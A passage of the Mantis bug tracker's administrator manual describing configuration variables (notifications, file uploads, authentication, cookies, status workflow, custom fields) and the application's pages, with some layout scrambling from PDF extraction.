$g_default_new_account_access_level This is the default access level users are given when their account is created by email. The default access level is REPORTER. Look in constant_inc.php for other values. $g_default_bug_view_status The default viewing status for the new bug (VS_PUBLIC or VS_PRIVATE). The default is VS_PUBLIC. Introduced in 0.19.0. The default viewing status for the new bugnote (VS_PUBLIC or VS_PRIVATE). The default is VS_PUBLIC. Introduced in 0.19.0. The default viewing status for the new reminders (VS_PUBLIC or VS_PRIVATE). The default is VS_PUBLIC. Introduced in 0.19.0. The severity for a newly created issue. The default is MINOR. Look in constant_inc.php for other values. Introduced in 0.19.0. The priority for a newly created issue. The default is NORMAL. Look in constant_inc.php for other values. Introduced in 0.19.0. Number of bugs to show in the View Bugs page. The default value is 50. Highlight bugs that have changed during the last N hours. The default value is 6. Controls which issues will be displayed in the View Issues page. Default value is CLOSED, implying that all issues at "closed" or higher state will not be shown. This replaced $g_hide_closed_default in 0.19.0. This is the delay between automatic refreshes of the View Issues page. Make sure refresh delay in user preferences isn't too short. If a users set their preferences to be lower then it is bumped back up to this minimum value. The default value is 10 minutes.

$g_default_bugnote_view_status

$g_default_reminder_view_status

$g_default_bug_severity

$g_default_bug_priority

$g_default_limit_view $g_default_show_changed $g_hide_status_default

$g_min_refresh_delay

These settings are used as the default values for preferences for new users. Each user can override these settings through the user preferences form. Default language is set to default site language ($g_default_language). $g_default_advanced_report Default user preferences to use the advanced page for reporting bugs. Default is OFF. Default user preferences to use the advanced page for view bugs. Default value is OFF. Default user preferences to use the
Page 35

$g_default_advanced_view

$g_default_advanced_update

advanced page for updating bugs. Default value is OFF. $g_default_refresh_delay Default page refresh delay (in minutes). This is for the bug listing pages. Default value is 30 minutes. Default delay before a user is redirected to a page after being prompted by a message (eg: operational successful). Default value is 2 seconds. This controls the time order in which bug notes are displayed. It can be either ASC (oldest first, the default) or DESC (newest first). Default user preferences to enable receiving emails when a bug is set to the corresponding status. This option only has an effect if users have the required access level to receive such emails. Default value is ON. Default user preferences to enable receiving emails when bugs are reopened. Default value is ON. Default user preferences to enable receiving emails when bugnotes are added to bugs. Default value is ON. Default user preferences to enable receiving emails when status or priority is changed. Default is ON. Note that this option is not implemented. Default user preferences to enable filtering based on issue severity. These correspond to the email_on_ settings. Default is 'any'.

$g_default_redirect_delay

$g_default_bugnote_order

$g_default_email_on_new $g_default_email_on_assigned $g_default_email_on_feedback $g_default_email_on_resolved $g_default_email_on_closed $g_default_email_on_reopened

$g_default_email_on_bugnote

$g_default_email_on_status $g_default_email_on_priority

$g_default_email_on_new_minimum_severity $g_default_email_on_assigned_minimum_severity $g_default_email_on_feedback_minimum_severity $g_default_email_on_resolved_minimum_severity $g_default_email_on_closed_minimum_severity $g_default_email_on_reopened_minimum_severity $g_default_email_on_bugnote_minimum_severity $g_default_email_on_bugnote_minimum_severity

Default user preference to enable filtering based on issue severity. These corresponds to the email_on_bugnote setting. Default is 'any'. Default user preferences to enable filtering based on issue severity. These correspond to the email_on_status and email_on_priority settings. Default is 'any'. Note that this option is not yet implemented.

$g_default_email_on_status_minimum_severity $g_default_email_on_priority_minimum_severity

See also:

Email Notifications

Page 36

Summary
Last Modified: August 5, 2003 06:08AM (Any)

Description
$g_reporter_summary_limit Limit how many reporters to show in the summary page. This is useful when there are dozens or hundreds of reporters. The default value is 10. An array of date lengths to count bugs by (in days) for the summary by date. The default is to count for 1, 2, 3, 7, 30, 60, 90, 180, and 365.

$g_date_partitions

$g_summary_category_include_project Specifies whether category names should be preceeded by project names (eg: [Project] Category) when the summary page is viewed for all projects. This is useful in the case where category names are common accross projects. The default is OFF. $g_view_summary_threshold Specifies the access level required to view the summary page. Default is VIEWER.

These are the settings that are used to configuration options related to the Summary page. This page contains statistics about the bugs in Mantis.

Page 37

Bugnote
Last Modified: August 5, 2003 06:08AM (Any)

Description
$g_bugnote_order Order to use for sorting bugnotes by submit date. Possible values include ASC for ascending and DESC for descending order. The default value is ASC.

Page 38

File Upload
Last Modified: August 5, 2003 07:08AM (Any)

Description
Mantis allows users to upload file attachements and associated them with bugs as well as projects. Bug attachments / project documents can be uploaded to the webserver, database, or an FTP server. When bugs are uploaded to the webserver they are uploaded to the path that is configured in the project properties. In case of problems getting the file upload feature to work, check the following resources: PHP Manual. Mantis FAQ $g_allow_file_upload $g_file_upload_method Whether to allow/disallow uploading of attachments. Default value is ON. Specify the location for uploading attachements. This can be DISK, DATABASE, or FTP. In case of FTP, the files are saved on the webserver (same as disk) as well as on the specified FTP server. Default value is DATABASE. In case of DISK / FTP upload methods you need to provide the webserver with write access rights to the configured upload path (configured in the project) and temporary upload path (used by PHP). $g_max_file_size The maximum file size to allow as an attachment. You may also have to configure your php.ini file to increase the execution time, memory limit, max post size, and max upload size. $g_file_upload_ftp_server Address of the FTP server to write to (eg: ftp.example.com). This option is only effective if upload method is FTP. FTP user name for account to be used in uploading files to the FTP server. This account must have read/write access to the FTP server. The default path for the account is used for uploading the files. Password to use when loggin in to the FTP server. Maximum file size that can be uploaded. Default value is about 5MB. The max file upload size is also affected by the value specified in php.ini. The PHP value is usually defaulted to 2MB. $g_allowed_files Files that are allowed. Separate items by commas. eg. "zip,bmp,gif,jpg,txt" If
Page 39

$g_file_upload_ftp_user

$g_file_upload_ftp_pass $g_max_file_size

$g_allowed_files is filled in NO other file types will be allowed. If empty it will assume any files are accepted that pass the $g_disallowed_files list. $g_disallowed_files Files that are not allowed. Separate items by commas. eg. "php,php3,phtml,html,class,java,exe,pl" $g_disallowed_files takes precedence over $g_allowed_files. It is recommended to disable all extensions that can be executed by your server. $g_document_files_prefix Prefix to give to uploaded files when saved to the upload directory. This is used for documents that are attached to projects in order to be able to differentiate them from files that are attached to bugs. The name of the file has the following format prefix-projectcode-filename. The default value is 'doc'.

$g_preview_attachments_inline_max_size This feature applies to bmp, jpg, gif, and png files that are attached to bugs. If the file size is smaller than the specified values, the actual image is also previewed with the bugs. This feature can be disabled by setting the max size to 0. The default value is 0.

Page 40

HTML
Last Modified: September 13, 2004 19:09PM (Any)

Description
$g_allow_html_tags $g_html_tags Dropped in 0.19.0. Allow specified HTML tags to be used. This is the list of HTML tags that are allowed. Do NOT include href or img tags here. Do NOT include tags that have parameters (eg. ) The HTML code is allowed to enter the database as is. The $g_allow_href_tags does not have to be enabled to make URL links. The package will automatically hyperlink properly formatted URLs eg. http://blah.blah/ or mailto://me@more.com/ $g_allow_href_tags $g_allow_img_tags $g_primary_table_tags $g_hr_size $g_hr_width $g_bottom_include_page Dropped in 0.19.0. Allow A HREF tags. Dropped in 0.19.0. NOT ENABLED Dropped in 0.19.0. This is inserted into the outermost tables for tags like border, cellspacing, ... hr size. hr width. Leave off the percentage (%) symbol. If this page eixsts it will be displayed at the bottom of every page. It makes a good company branding include page. If this page eixsts it will be displayed at the top of every page. It makes a good company branding include page. Set this to point to the CSS file of your choice. Set this to point to the META tag file of your choice.

$g_top_include_page $g_css_include_file $g_meta_include_file

$g_main_menu_custom_options This option will add custom options to the main menu. It is an array of arrays listing the caption, access level required, and the link to be executed. For example: $g_main_menu_custom_options = array( array( "My Link", MANAGER, 'my_link.php' ), array( "My Link2", ADMINISTRATOR, 'my_link2.php' ) ); Note that if the caption is found in custom_strings_inc.php, then it will be replaced by the translated string. Options will only be added to the menu if the current logged in user has the appropriate access level.

Page 41

Authentication
Last Modified: August 22, 2003 08:08AM (Any)

Description
$g_login_method MD5 LDAP PLAIN CRYPT CRYPT_FULL_SALT BASIC_AUTH Some systems (mostly non-unix) do not have crypt support in PHP. MD5 will accomplish almost the same thing. PLAIN is plain text and there is no attempt to secure the password in the database. You will not be able to easily convert between encryption methods so this needs to be chosen at install time. CRYPT was the default until 0.17.0; MD5 is now the default. Try CRYPT_FULL_SALT if CRYPT is not working. $g_ldap_server $g_ldap_port $g_ldap_root_dn $g_ldap_organisation $g_use_ldap_email $g_ldap_bind_dn $g_ldap_bind_passwd LDAP authentication method. The ldap server (eg: ldaps://ldap.example.com

LDAP port (default 636). "dc=example, dc=com" "organizationname=*Example)" Use email address in LDAP rather than the email stored in the database. "cn=Manager, dc=example, dc=com"

Page 42

Status Settings
Last Modified: December 12, 2004 09:12AM (0.18.0)

Description
$g_bug_submit_status $g_bug_assigned_status $g_bug_reopen_status $g_bug_reopen_resolution $g_auto_set_status_to_assigned Status to assign to the bug when submitted. Default value is NEW_. Added in 0.18.1 Status to assign to the bug when assigned. Default value is ASSIGNED. Added in 0.18.1 Status to assign to the bug when reopened. Default value is FEEDBACK. Added in 0.18.1 Resolution to assign to the bug when reopened. Default value is REOPENED. Added in 0.18.1 Automatically set status to $g_bug_assigned_status whenever a bug is assigned to a person. Installations where assigned status is to be used when the defect is in progress, rather than just put in a person's queue should set it to OFF. Default is ON. Bug is resolved, ready to be closed or reopened. In some custom installations a bug maybe considered as resolved when it is moved to a custom (FIXED OR TESTED) status.

$g_bug_resolved_status_threshold

$g_bug_readonly_status_threshold Bug becomes readonly if its status is >= $g_update_readonly_bug_threshold $g_bug_readonly_status_threshold. The bug becomes read/write again if re-opened and its status becomes less than this threshold. The default is RESOLVED. Once the bug becomes readonly, a user with an access level greater than or equal to $g_update_readonly_bug_threshold can still edit the bug. Added in 0.19 $g_status_enum_workflow 'status_enum_workflow' defines the workflow, and reflects a simple 2-dimensional matrix. For each existing status, you define which statuses you can go to from that status, e.g. from NEW_ you might list statuses '10:new,20:feedback,30:acknowledged' but not higher ones. The default is no workflow, where all states are accessible from any others. Added in 0.19 This is the access level required to open a bug. The default is REPORTER. This is the access level generally required to update the content of a bug. The default is UPDATER. This is the access level generally required to be access level needed to be listed in the assign to field. The default is DEVELOPER. If a more restrictive setting can be determined from $g_set_status_threshold, it will be used. These settings control the access level required to promote a bug to a new status once the bug is opened.
Page 43

$g_report_bug_threshold $g_update_bug_threshold $g_handle_bug_threshold

$g_update_bug_status_threshold $g_set_status_threshold

$g_set_status_threshold is an array indexed by the status value that allows a distinct setting for each status. It defaults to blank. If the appropriate status is not defined above, $g_update_bug_status_threshold is used instead. The default is DEVELOPER. Added in 0.19 $g_allow_close_immediately $g_allow_reporter_close If set, bugs are allowed to be resolved and closed in one action. The default is OFF. If set, the bug reporter is allowed to close their own bugs, regardless of their access level. The default is OFF. If set, the bug reporter is allowed to reopen their own bugs once resolved, regardless of their access level. This allows the reporter to disagree with the resolution. The default is ON.

$g_allow_reporter_reopen

See also:

Customizing Status Values

Page 44

Filters
Last Modified: December 12, 2004 09:12AM (Any)

Description
$g_filter_by_custom_fields $g_filter_custom_fields_per_row Show custom fields in the filter dialog and use these in filtering. Defaults to ON. The number of custom fields to display per row. The default is 7. The value should be greater than or equal to 7.

$g_view_filters = SIMPLE_DEFAULT; Controls the display of the filter pages. Possible values are: SIMPLE_ONLY - only simple view ADVANCED_ONLY - only advanced view (allows multiple value selections) SIMPLE_DEFAULT - defaults to simple view, but shows a link for advanced ADVANCED_DEFAULT - defaults to advanced view, but shows a link for simple $g_dhtml_filters = OFF; Controls the use of DHTML filters that will display the filter in view page using DHTML and javascript. Default is OFF. This requires $g_use_javascript to ne set to ON. This may not work in all browsers as it requires xmlhttprequest functionality.

Page 45

Misc
Last Modified: December 12, 2004 09:12AM (Any)

Description
$g_reopen_bug_threshold Obsolete in 0.19.0 - Access level needed to re-open bugs. Look in the constant_inc.php file if you want to set a different value. Obsolete in 0.19.0 - Access level needed to close bugs. Look in the constant_inc.php file if you want to set a different value. Limit reporters to only viewing bugs that they report. Allow reporters to close the bugs they reported. Allow developers and above to close bugs immediately when resolving bugs.

$g_close_bug_threshold

$g_limit_reporters $g_allow_reporter_close $g_allow_close_immediately

$g_allow_bug_delete_access_level Allow the specified access level and above to delete bugs. $g_bug_move_access_level $g_allow_account_delete $g_allow_anonymous_login $g_anonymous_account $g_cvs_web $g_bug_link_tag Allow the specified access level and above to move bugs between projects. Allow users to delete their own accounts. Allow easy anonymous access. Set the account that users will login as. Make sure this is a viewer or reporter account. This allows for quick linking to CVS files via CVSweb or ViewCVS. If a number follows this tag it will create a link to a bug. eg. for # a link would be #45 eg. for bug: a link would be bug:98 $g_show_timer $g_show_queries_count $g_show_queries_list Time page loads. Shows at the bottom of the page. Shows the total number/unique number of queries executed to serve the page. Default is ON. Shows the list of all queries that are executed in chronological order from top to bottom. This option is only effective when $g_show_queries_count is ON. Default is OFF. WARNING: Potential security hazard. Only turn this on when you really need it (for debugging or profiling) $g_register_globals If your register_globals is Off then set this to OFF. Check your register_globals setting in php.ini or phpinfo ().

$g_enable_project_documentation Specifies whether to enable support for project documents or not. Default is ON. Introduced in 0.18.2.

Page 46

Colors
Last Modified: December 12, 2004 09:12AM (Any)

Description
REMOVE THIS

Page 47

Cookies
Last Modified: December 12, 2004 09:12AM (Any)

Description
$g_cookie_path This is specifies to the path under which a cookie is visible. All scripts in this directory and its sub-directories will be able to access Mantis cookies. Default value is '/'. It is recommended to set this to the actual Mantis path. Also see the http://www.php.net/manual/en/function.setcookie.php in PHP Manual.

If you are running more than one Mantis installation on the same server, it is recommended to set the cookie path in each installation to its path. This is important to stop users from one installation to get automatic access rights to other installations which have users with the same name. This used to happen in versions prior to 0.18.0. $g_cookie_domain Unused $g_cookie_version Cookie version is used as a prefix for cookies that should be expire when the code is changed in a certain way. The developers would increase this version when necessary, which in effect will cause the creation of new cookies that are compatible with the new code. It is not expected for the user to need to change this setting. $g_cookie_prefix This should be set to a unique identifier which does not include spaces. Again, this should be unique per Mantis installation, specially if the $g_cookie_path is not restricting the cookies scope to the actual Mantis directory.

The configuration variables $g_string_cookie, $g_project_cookie, $g_view_all_cookie, $g_manage_cookie are calculated based on $g_cookie_prefix. When you change the cookie prefix in config_inc.php, you need to follow it with a copy of the four lines that calculate the names for these cookies.

Page 48

Database Tables
Last Modified: December 12, 2004 09:12AM (Any)

Description
Mantis enables users to configure a table prefix for all its tables. This is useful to be able to have multiple Mantis installation in the same database. The advantage of that is for users who are limited by their ISP to have one database. $g_db_table_prefix Specifies the prefix to be use for all table names. The default value is 'mantis'. If you override the default prefix, make sure to update doc/db_generate.sql file before generating your database. The other option is to import db_generate.sql as is, then rename the tables to match the new prefix. The table name for each of the tables is stored in a variable which is calculated based on this configuration option. If you change the prefix you have to make sure these variables are re-calculated (by adding these calculation statements to config_inc.php after assigning the new prefix). An example of these variables is: $g_mantis_bug_file_table The prefix is used to help make sure table names are unique. This is useful for users who are limited to one database.

Page 49

Speed Optimisation
Last Modified: December 12, 2004 09:12AM (Any)

Description
$g_compress_html This option is used to enable buffering/compression of HTML output if the user's browser supports it. Default value is ON. This option will be ignored in the following scenarios: If php.ini has zlib.output_compression enabled. If php.ini has output_handler set to a handler. If PHP does not include the zlib extension (PHP 4.3.0 and later include zlib extension by default). You can check the loaded modules in your PHP by running "php -m" on the command line, or by using php_info() command in a php script. $g_use_persistent_connections Use persistent database connections, setting this to ON will open the database once per connection, rather than once per page. There might be some scalability issues here and that is why it is defaulted to OFF.

Page 50

Reminders
Last Modified: December 12, 2004 09:12AM (Introduced in 0.18.0)

Description
Sending reminders is a feature where a user can notify / remind other users about a bug. In the past, only selected users like the managers, or developers would get notified about bugs. However, these people can not invite other people (through Mantis) to look at or monitor these bugs. $g_store_reminders Specifies if reminders should be stored as bugnotes. The bugnote will still reflect that it is a reminder and list the names of users that got it. Default is ON.

$g_reminder_recipients_monitor_bug Specifies if users who receive reminders about a bug, should be automatically added to the monitor list of that bug. Default is ON. This feature is useful if the Manager needs to get feedback from testers / requirements team about a certain bug. It avoid needing this person to do this manual outside Mantis. It also records the history of such reminders.

Page 51

Bug History
Last Modified: December 12, 2004 09:12AM (Introduced in 0.18.0)

Description
Bug history is a feature where Mantis tracks all modifications that are made to bugs. These include everything starting from its creation, till it is closed. For each change, the bug history will record the time stamp, user who made the change, field that changed, old value, and new value. $g_history_default_visible Make the bug history visible by default. If this option is not enabled, then the user will have to click on the Bug History link to see the bug history. Default is ON. $g_history_order Show bug history entries in ascending or descending order. Default value is 'ASC'.

Independent of the above settings, Mantis will always track the changes to a bug and add them to its history.

Page 52

Sponsorship
Last Modified: December 12, 2004 09:12AM (Introduced in 0.19)

Description
$g_enable_sponsorship $g_sponsorship_currency $g_minimum_sponsorship_amount enable/disable the whole issue sponsorship feature. The default os OFF. The currency string used for all sponsorships. The default is 'US$'. The minimum sponsorship amount that can be entered. If the user enters a value less than this, an error will be flagged. The default is 5. The access level threshold needed to view the total sponsorship for an issue by all users. The default is VIEWER.

$g_view_sponsorship_total_threshold

$g_view_sponsorship_details_threshold The access level threshold needed to view the details of the sponsorship (i.e., who will donate what) for an issue by all users. The default is VIEWER. $g_sponsor_threshold The access level threshold needed to allow user to sponsor issues. The default is REPORTER. Note that sponsoring user must have their email set in their profile. The access level required to be able to handle sponsored issues. The default is DEVELOPER. The access level required to be able to assign a sponsored issue to a user with access level greater or equal to 'handle_sponsored_bugs_threshold'. The default is MANAGER.

$g_handle_sponsored_bugs_threshold $g_assign_sponsored_bugs_threshold

Page 53

Source Control Integration
Last Modified: December 12, 2004 09:12AM (Introduced in 0.19.0)

Description
$g_source_control_account Account to be used by the source control script. The account must be enabled and must have the appropriate access level to add notes to all issues even private ones (DEVELOPER access recommended). The default is '' (not set).

$g_source_control_notes_view_status This sets whether the note added will be public or private (VS_PUBLIC or VS_PRIVATE). For open source projects it is expected that the notes be public, however, for non-open source it will probably be VS_PRIVATE. The default is VS_PRIVATE. $g_source_control_set_status_to If set to a status, then after a checkin, the issue status is set to the specified status, otherwise if set to OFF, the issue status is not affected. The default is OFF. Regular expression used to detect issue ids within checkin comments. See preg_match_all() documentation for more details on setting a pattern. The default is "/\bissue [#]{0,1}(\d+)\b/i" (or issue #745).

$g_source_control_regexp

Page 54

Custom Fields
Last Modified: December 12, 2004 09:12AM (Introduced in 0.19.0)

Description
$g_manage_custom_fields_threshold Access level needed to manage custom fields. The default is ADMINISTRATOR. $g_custom_field_link_threshold $$g_custom_field_edit_after_create Access level needed to link a custom field to a project. The default is MANAGER. This flag determines whether to start editng a custom field immediately after creating it, or return to the definition list. The default is ON (edit the custom field after creating).

Page 55

My View Settings
Last Modified: December 12, 2004 09:12AM (Introduced in 0.19.0)

Description
$g_my_view_boxes This is an array of values defining the order that the boxes to be shown. A box that is not to be shown can have its value set to 0. The default is: $g_my_view_boxes = array ( 'assigned' => '1', 'unassigned' => '2', 'reported' => '3', 'resolved' => '4', 'recent_mod' => '5', 'monitored' => '6' ); If you want to change the definition, copy the default value and apply the changes.

$g_my_view_bug_count Number of bugs shown in each box. The default is 10. $g_default_home_page Default page to transfer to after Login or Set Project. The default is 'my_view_page.php'. An alternative would be 'view_all_bugs_page.php' or 'main_page.php'.

Page 56

Relationships
Last Modified: December 12, 2004 09:12AM (Introduced in 0.19.0)

Description
$g_enable_relationship Enable support for bug relationships where a bug can be "related to", "parent of", "child of", or "duplicate of" another. See relationship_api.php for more details. The default is ON.

Page 57

Page Descriptions
Last Modified: August 21, 2003 15:08PM (Any)

Description
The functions in Mantis are documented in this section of the manual.

Contents
1. 2. 3. 4. 5. 6. 7. 8. 9. 10. Login page Main page View Bugs page Bug View Simple page Bug View Advanced page Bug Change Status page Bug Update Simple page Bug Update Advanced page My Account Page System Management Pages 1. Manage Users 2. Manage Projects Page 3. Manage Custom Fields 4. Manage Global Profiles 5. Manage Configuration 1. Workflow Thresholds 2. Workflow Transitions 3. Email Notifications Monitor Bug Reopen Bug Delete Bug Close Bug Assign to Me Resolve Bug News Syndication

11. 12. 13. 14. 15. 16. 17.

Page 58

Login page
Last Modified: August 11, 2003 05:08AM (Any)

Description
Just enter your username and password and hit the login button. There is also a Save Login checkbox to have the package remember that you are logged in between browser sessions. You will have to have cookies enabled to login. If the account doesn't exist, the account is disabled, or the password is incorrect then you will remain at the login page. An error message will be displayed. The administrator may allow users to sign up for their own accounts. If so, a link to Signup for your own account will be available. The administrator may also have annonymous login allowed. Annonymous users will be logged in under a common account. You will be allowed to select a project to work in after logging in. You can make a project your default selection from the Select Project screen or from your Account Options. Signup Here you can signup for a new account. You must supply a valid email address and select a unique username. Your randomly generated password will be emailed to your email account. If Mantis is setup so that the email password is not to be emailed, newly generated accounts will have an empty password.

Page 59

Main page
Last Modified: August 11, 2003 05:08AM (Any)

Description
This is the first page you see upon logging in. It shows you the latest news updates for the bugtracker. This is a simple news module (based off of work by Scott Roberts) and is to keep users abreast of changes in the bugtracker or project. Some news postings are specific to projects and others are global across the entire bugtracker. This is set at the time of posting in the Edit News section. The number of news posts is controlled by a global variable. When the number of posts is more than the limit, a link to show "older news" is displayed at the bottom. Similarly a "newer news" is displayed when you have clicked on "older news". There is an Archives option at the bottom of the page to view all listings. Archives A title/date/poster listing of ALL past news articles will be listed here. Clicking on the link will bring up the specified article. This listing will also only display items that are either global or specific to the selected project.

Page 60

View Bugs page
Last Modified: August 21, 2003 08:08AM (Any)

Description
Here we can view the bug listings. The page has a set of viewing filters at the top and the bugs are listed below. Filters The filters control the behavior of the bug list. The filters are saved between browsing sessions but do not currently save sort order or direction. If the number of bugs exceeds the "Show" count in the filter a set of navigation to go to "First", "Last", "Previous", "Next" and specific page numbers are added. The Search field will look for simple keyword matches in the summary, description, steps to reproduce, additional information, bug id, or bug text id fields. It does not search through bugnotes. Bug List The bugs are listed in a table and the attributes are listed in the following order: priority, id, number of bugnotes, category, severity, status, last updated, and summary. Each (except for number of bugnotes) can be clicked on to sort by that column. Clicking again will reverse the direction of the sort. The default is to sort by last modification time, where the last modified bug appears at the top. The bug id is a link that leads to a more detailed report about the bug. Depending on what you have set in your Account Preferences you will be sent to the simple or advanced view. You can also add bugnotes here. The number in the bugnote count column will be bold if a bugnote has been added in the specified time frame. The addition of a bugnote will make the bugnote link of the bug appear in the unvisited state. The text in the "Severity" column will be bold if the severity is major, crash, or block and the bug not resolved. The text in the "Updated" column will be bold if the bug has changed in the last "Changed (hrs)" field which is specified in the viewing filters. Each table row is color coded according to the bug status. The colors can be customised through Mantis Configuration. Severities block - prevents further work/progress from being made crash - crashes the application or OS major - major bug minor - minor bug tweak - needs tweaking text - error in the text trivial - being nitpicky feature - requesting new feature Status
Page 61

new - new bugs feedback - bug requires more information, the original posters should pay attention acknowledged - bug has been looked at but not confirmed or assigned confirmed - confirmed and reproducible (tycpically set by an Updater or other Developer) assigned - assigned to a Developer resolved - bug should be fixed, waiting on confirmation of fix closed - bug is closed Moving the mouse over the status text will show the resolution as a title. This is rendered by some browsers as a bubble and in others as a status line text.

Page 62

Bug View Simple page
Last Modified: April 17, 2005 14:04PM (Any)

Description
Here is the simple listing of the bug report. Most of the fields are self-explanatory. "Assigned To" will contain the developer assigned to handle the bug. Priority is fully functional but currently does nothing of importance. Duplicate ID is used when a bug is a duplicate of another. It links to the duplicate bug which allows users to read up on the original bug report. Below the bug report is a set of buttons that a user can select to work on the issue. Update Issue - brings up a page to edit all aspects of the issue Assign to - in conjunction with the dropdown list next top the button, this is a shortcut to change the assignment of an issue Change Status to - in conjunction with the dropdown list next top the button, this is a shortcut to change the status of an issue. Another page (Change Status) will be presented to allow the user to add notes or change relevant information Monitor / Unmonitor Issue - allows the user to monitor any additions to the issue by email Create Clone - create a copy of the current issue. This presents the user with a new issue reporting form with all of the information in the current issue filled in. Upon submission, a new issue, related to the current issue, will be created. Reopen Issue - Allows the user to re-open a resolved issue Move Issue - allows the user to move the issue to another project Delete Issue - Allows the user to delete the issue permanently. It is recommended against deleting bugs unless the entry is frivolous. Instead bugs should be set to resolved and an appropriate resolution category chosen.

A panel is provided to view and update the sponsorship of an issue. Another panel is provided to view, delete and add relationships for an issue. Issues can have a parent/child relationship, where the user is warned about resolving a parent issue before all of the children are resolved. A peer relationship is also possible. Below this, there may be a form for uploading file attachments. The Administrator needs to configure the bugtracker to handle file uploads. If uploading to disk is selected, each project needs to set its own upload path. Bugnotes are shown at the bottom of the bug report. A panel to add bugnotes is also shown.

Page 63

Bug View Advanced page
Last Modified: April 17, 2005 14:04PM (Any)

Description
The advanced view is much the same as the simple view with a few additional fields. Here you can see Projection, ETA, Platform, OS, OSBuild, Product Version, Product Build, and Steps to Reproduce.
See also:

Bug View Simple page

Page 64

Bug Change Status page
Last Modified: April 17, 2005 14:04PM (Any)

Description
This page is used to change the status of an issue. A user can add a bugnote to describe the reason for change. In addition, the following fields may be displayed for update: Resolution and Duplicate ID - for issues being resolved or closed Issue Handler (Assigned to) any Custom Fields that are to be visible on update or resolution Fixed in Version - for issues being resolved Close Immediately - to immediately close a resolved issue

Page 65

Bug Update Simple page
Last Modified: April 17, 2005 14:04PM (Any)

Description
The layout of this page resemples the Simple Issue View page, but here you can update various bug fields. The Reporter, Category, Severity, and Reproducibility fields are editable but shouldn't be unless there is a gross mis-categorization. Also modifiable are the Assigned To, Priority, Projection, ETA, Resolution, and Duplicate ID fields. As per version 0.18.0, the user can also add a bugnote as part of a bug update.

Page 66

Bug Update Advanced page
Last Modified: April 17, 2005 14:04PM (Any)

Description
Similar to Bug Update Simple page but has the extra advanced fields. The difference between the simple/advanced update pages should be consistent with the difference between the simple/advanced view pages.

Page 67

My Account Page
Last Modified: April 17, 2005 20:04PM (Any)

Description
This page changes user alterable parameters for the system. These selections are user specific. My Account This allows the user to change their password, screen name, and email address. It also reports the user's access levels on the current and other projects. Preferences This sets the following information: Default project whether the pages used for reporting, viewing, and updating are the simple or advanced views the delay in minutes between refreshes of the view all bugs page the delay in seconds when redirecting from a confirmation page to the display page the time order in which notes will be sorted whether to filter email messages based on type of message and severity the number of notes to append to notification emails the default language for the system. The additional setting of "auto" will use the browser's default language for the system.

Profiles Profiles are shortcuts to define the values for Platform, OS, and version. This page allows you to define and edit personal shortcuts.

Page 68

System Management Pages
Last Modified: April 17, 2005 20:04PM (Any)

Description
A number of pages exist under the "Manage" link. These will only be visible to those who have an appropriate access level.

Contents
1. 2. 3. 4. 5. Manage Users Manage Projects Page Manage Custom Fields Manage Global Profiles Manage Configuration 1. Workflow Thresholds 2. Workflow Transitions 3. Email Notifications

Page 69

Manage Users
Last Modified: April 17, 2005 14:04PM (Any)

Description
This page allow an administrator to manage the users in the system. It essentially supplies a list of users defined in the system. The user names are linked to a page where you can change the user's name, access level, and projects to which they are assigned. You can also reset their passwords through this page. At the top, there is also a list of new users (who have created an account in the last week), and accounts where the user has yet to log in. New users are created using the "Create User" link above the list of existing users. Note that the username must be unique in the system. Further, note that the user's real name (as displayed on the screen) cannot match another user's user name.

Page 70

Manage Projects Page
Last Modified: April 20, 2005 08:04AM (Any)

Description
This page allows the user to manage the projects listed in the system. Each project is listed along with a link to manage that specific project. The specific project pages allow the user to change: the project name the project description its status whether the project is public or private. Private projects are only visible to users who are assigned to it or users who have the access level to automatically have access to private projects (eg: administrators). a file directory used to store attachments for issues and documents associated with the project. This folder is located on the webserver, it can be absolute path or path relative to the main Mantis folder. Note that this is only used if the files are stored on disk or via FTP. In case of FTP, the cached version that is saved on the webserver, is stored in the specified path. common subprojects. These are other projects who can be considered a sub-project of this one. They can be shared amongst multiple projects. For example, a "documentation" project may be shared amongst several development projects. project categories. These are used to sub-divide the issues stored in the system. project versions. These are used to create ChangeLog reports and can be used to filter issues. They are used for both the Found In and Fixed In versions. Custom Fields linked to this project Users linked to this project. Here is the place where a user's access level may be upgraded or downgraded depending on their particular role in the project.

Page 71

Manage Custom Fields
Last Modified: April 17, 2005 17:04PM (Any)

Description
This page is the base point for managing custom fields. It lists the custom fields defined in the system. There is also a place to enter a new field name to create a new field. The "Edit" links take you to a page where you can define the details of a custom field. These include it's name, type, value, and display information. On the edit page, the following information is defined to control the custom field: name type. Possible values are listed below. Value constraints (Possible values, default value, regular expression, minimum length, maximum length). Access (who can read and write the field based on their access level). Display control (where the field will show up and must be filled in All fields are compared in length to be greater than or equal to the minimum length, and less than or equal to the manimum length, unless these values are 0. If the values are 0, the check is skipped. All fields are also compared against the regular expression. If the value matches the expression, then the value is stored. For example, the expression "/^-?([0-9]) *$/" can be used to constrain an integer. The table below describes the field types and the value constraints.

Type String Numeric Float Enumeration

Field Contents text string up to 255 characters an integer a floating point number one of a list of text strings

Value Constraints

Enter the list of text strings separated by "|" (pipe character) in the Possible Values field. The Default value should match one of these strings as well. This will be displayed as a dropdown menu. When displayed, the value will also be encapsulated in a mailto: reference.

Email

an email address string up to 255 characters

Checkbox

zero or more of a Enter the list of text strings separated by "|" (pipe list of text strings character) in the Possible Values field. The Default value should match one of these strings as well. This will be displayed as a list of text strings with a checkbox beside them. one of a list of text strings Enter the list of text strings separated by "|" (pipe character) in the Possible Values field. The Default value should match one of these strings as well. This will be displayed as a multi-line dropdown menu.
Page 72

List

Multiselection List

zero or more of a Enter the list of text strings separated by "|" (pipe list of text strings character) in the Possible Values field. The Default value should match one of these strings as well. This will be displayed as a multi-line dropdown menu. text string defining a date This is displayed as a set of dropdown menus for day, month, and year. Defaults should be defined in yyyy-mmdd format.

Date

The display entries are used as follows:

Entry Display Only On Advanced Page Display When Reporting Issues Display When Updating Issues Display When Resolving Issues Display When Closing Issues Required On Report Required On Update Required On Resolve Required On Close

Meaning If checked, the field will NOT be shown on the simple bug displays If checked, the field will be shown on the report issues displays If checked, the field will NOT be shown on the update issue and change status displays If checked, the field will NOT be shown on the update issue displays and change status displays, if the new status is resolved. If checked, the field will NOT be shown on the update issue displays and change status displays, if the new status is closed. If checked, the field must be filled in on the issue reports. If checked, the field must be filled in on the update issue and change status displays. If checked, the field must be filled in on the update issue and change status displays, if the new status is resolved. If checked, the field must be filled in on the update issue and change status displays, if the new status is closed.

Notes on Display Be careful not to set both a required attribute and show only on advanced display. It may be possible to trigger a validation error that the user cannot recover from (i.e., field is not filled in).

Page 73

Manage Global Profiles
Last Modified: April 17, 2005 17:04PM (Introduced in 1.0.0)

Description
